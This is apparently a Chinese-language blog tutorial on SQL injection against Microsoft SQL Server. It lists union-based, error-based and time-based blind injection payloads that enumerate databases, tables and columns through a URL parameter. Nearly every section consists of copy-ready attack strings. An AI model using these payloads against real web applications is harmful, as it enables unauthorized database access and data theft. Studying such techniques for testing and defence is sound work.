SQL注入漏洞（MSSQL注入）

发布时间：2022-08-19 13:53

上一篇把MSSQL中默认的三张表说了，所以对于数据的查询应该没有什么太大的问题了。所以这篇文章主要讲一讲MSSQL注入的几种方法。

联合注入

可以使用information_schema库，不过我个人是更喜欢MSSQL的那三张默认的表，查询如下，

查当前库：
?id=-1' union select 1,db_name(),3--+

查所有库：
?id=-1' union select 1,db_name(),name from master.sysdatabases where name not in(select top 1 name 
from master.dbo.databases)--+

查表：
?id=-1' union select top 1 1,2,table_name from master.sysobjects where xtype='U'--+

查列：
?id=0' union select 1,name,3 from master.syscolumns where id=(select id from sysobjects where name='users')--+

当然也可以用information_schema，感兴趣的自己可以在本机测试。

报错注入

MSSQL中的报错注入原理与MySQL报错注入的原理有些不太一样，由于MSSQL数据库是强类型语言数据库，当类型不一致时将会报错，而我们恰巧利用一个类型不一致的比较判断讲报错的敏感数据回显出来。payload如下，

查库：
1' and 1=(db_name())-- 或 1' and 1=(select db_name())-- 或 1' and 1=(convert(int,@@version))-- 
1' and 1=(select top 1 name from sysdatabases)-- 
1' and 1=(select top 1 name from sysdatabases where name not in('test'))-- 
1' and 1=(select top 1 name from sysdatabases where name not in('test') and name not in('master'))-- 

查表：
1' and 1=(select top 1 name from sysobjects where xtype='U') -- 
1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('users'))

查列：
1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users'))

convert()、cast()是强制转换的函数，如上如果强制转换失败再与整型作比较就会报错，而报错的内容会带出sql查询的结果。

布尔盲注也没啥想说的，感觉和MySQL一模一样，利用len()判断敏感数据的长度，再利用substring()函数配合ascii()函数，最后通过得到的正确与错误回显一个一个的爆出敏感数据的字符。

时间盲注

MySQL盲注利用的延时函数为sleep()与benchmark()，而在MSSQL中则无法使用这两个函数，MSSQL有一个独特的延时指令---waitfor delay。

id = 1 waitfor delay '00:00:05:00'  //四个数从左至右依次为时、分、秒、毫秒

既然知道了MSSQL延时的指令，那么再配合一个可判断的指令即可完成时间盲注，这里与MySQL类似用的时if，但是又不完全相同，MySQL的if()可以有三个，一个时判断条件，一个是条件为真执行的动作，一个是条件为假执行的动作。

而MSSQL的if用法为：

if exists (action)

啥意思？其实也就是if 后面跟一个条件，如果条件为真，那么就执行后面的动作，因此MSSQL的时间盲注指令如下：

判断库长度：
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'-- 

根据单个字符利用二分法逐个判断：
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'-- 
id=1 if(ascii(substring(db_name(),2,1)))>50 WAITFOR DELAY '0:0:5'-- 
………………

查询表的个数：
id=1 if((select count(*) from sysobjects where xtype='u')>5) WAITFOR DELAY '0:0:5'-- 

判断表长度：
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'-- 

判断表名：
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'-- 

查询列名：
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)！=0) WAITFOR DELAY '0:0:5'-- 

查字段的步骤相上

ok，以上是基本的方法，包括几个没说的（与MySQL类似的），当然不仅仅只有如上方法还有个类似MySQL中dnslog带出的方法，看后面有空在写吧。